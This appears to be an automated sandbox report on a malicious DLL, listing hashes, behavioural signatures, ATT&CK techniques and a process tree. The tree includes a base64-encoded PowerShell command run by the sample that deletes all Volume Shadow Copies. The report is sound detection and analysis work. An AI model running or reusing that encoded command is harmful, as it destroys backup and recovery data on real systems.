f4781fb9f53f6bfd09b7e7f5df67e00d06ec739bc75b8e6a38d1c74cf91d7fc7

General

Target

f4781fb9f53f6bfd09b7e7f5df67e00d06ec739bc75b8e6a38d1c74cf91d7fc7.dll
Size

166KB
MD5

acc5688ff7a659d123582e7efb88c6d7
SHA1

074cb9680a4d105103e5cb07947725b35bb223fc
SHA256

f4781fb9f53f6bfd09b7e7f5df67e00d06ec739bc75b8e6a38d1c74cf91d7fc7
SHA512

84c4cdcfe0e806ec82a13185df883f62830eb0c298eebe112017386086f024168f532aaf942633bc961003cc813910bb82d0fba5549ba65b913d095d5ee8d210

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1568 rundll32.exe
964 powershell.exe

pid	process
1568	rundll32.exe
964	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1568	rundll32.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeBackupPrivilege	1504	vssvc.exe
Token: SeRestorePrivilege	1504	vssvc.exe
Token: SeAuditPrivilege	1504	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1668 wrote to memory of 1568	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1568	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1568	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1568	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1568	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1568	1668	rundll32.exe	rundll32.exe
PID 1668 wrote to memory of 1568	1668	rundll32.exe	rundll32.exe
PID 1568 wrote to memory of 964	1568	rundll32.exe	powershell.exe
PID 1568 wrote to memory of 964	1568	rundll32.exe	powershell.exe
PID 1568 wrote to memory of 964	1568	rundll32.exe	powershell.exe
PID 1568 wrote to memory of 964	1568	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\f4781fb9f53f6bfd09b7e7f5df67e00d06ec739bc75b8e6a38d1c74cf91d7fc7.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1668

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\f4781fb9f53f6bfd09b7e7f5df67e00d06ec739bc75b8e6a38d1c74cf91d7fc7.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:964

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1632

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1504

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/964-55-0x000007FEFB9C1000-0x000007FEFB9C3000-memory.dmp

Filesize
8KB

Download
memory/964-56-0x0000000002910000-0x0000000002912000-memory.dmp

Filesize
8KB

Download
memory/964-58-0x0000000002912000-0x0000000002914000-memory.dmp

Filesize
8KB

Download
memory/964-59-0x0000000002914000-0x0000000002917000-memory.dmp

Filesize
12KB

Download
memory/964-57-0x000007FEF2D90000-0x000007FEF38ED000-memory.dmp

Filesize
11.4MB

Download
memory/964-60-0x000000000291B000-0x000000000293A000-memory.dmp

Filesize
124KB

Download
memory/1568-54-0x0000000075B51000-0x0000000075B53000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads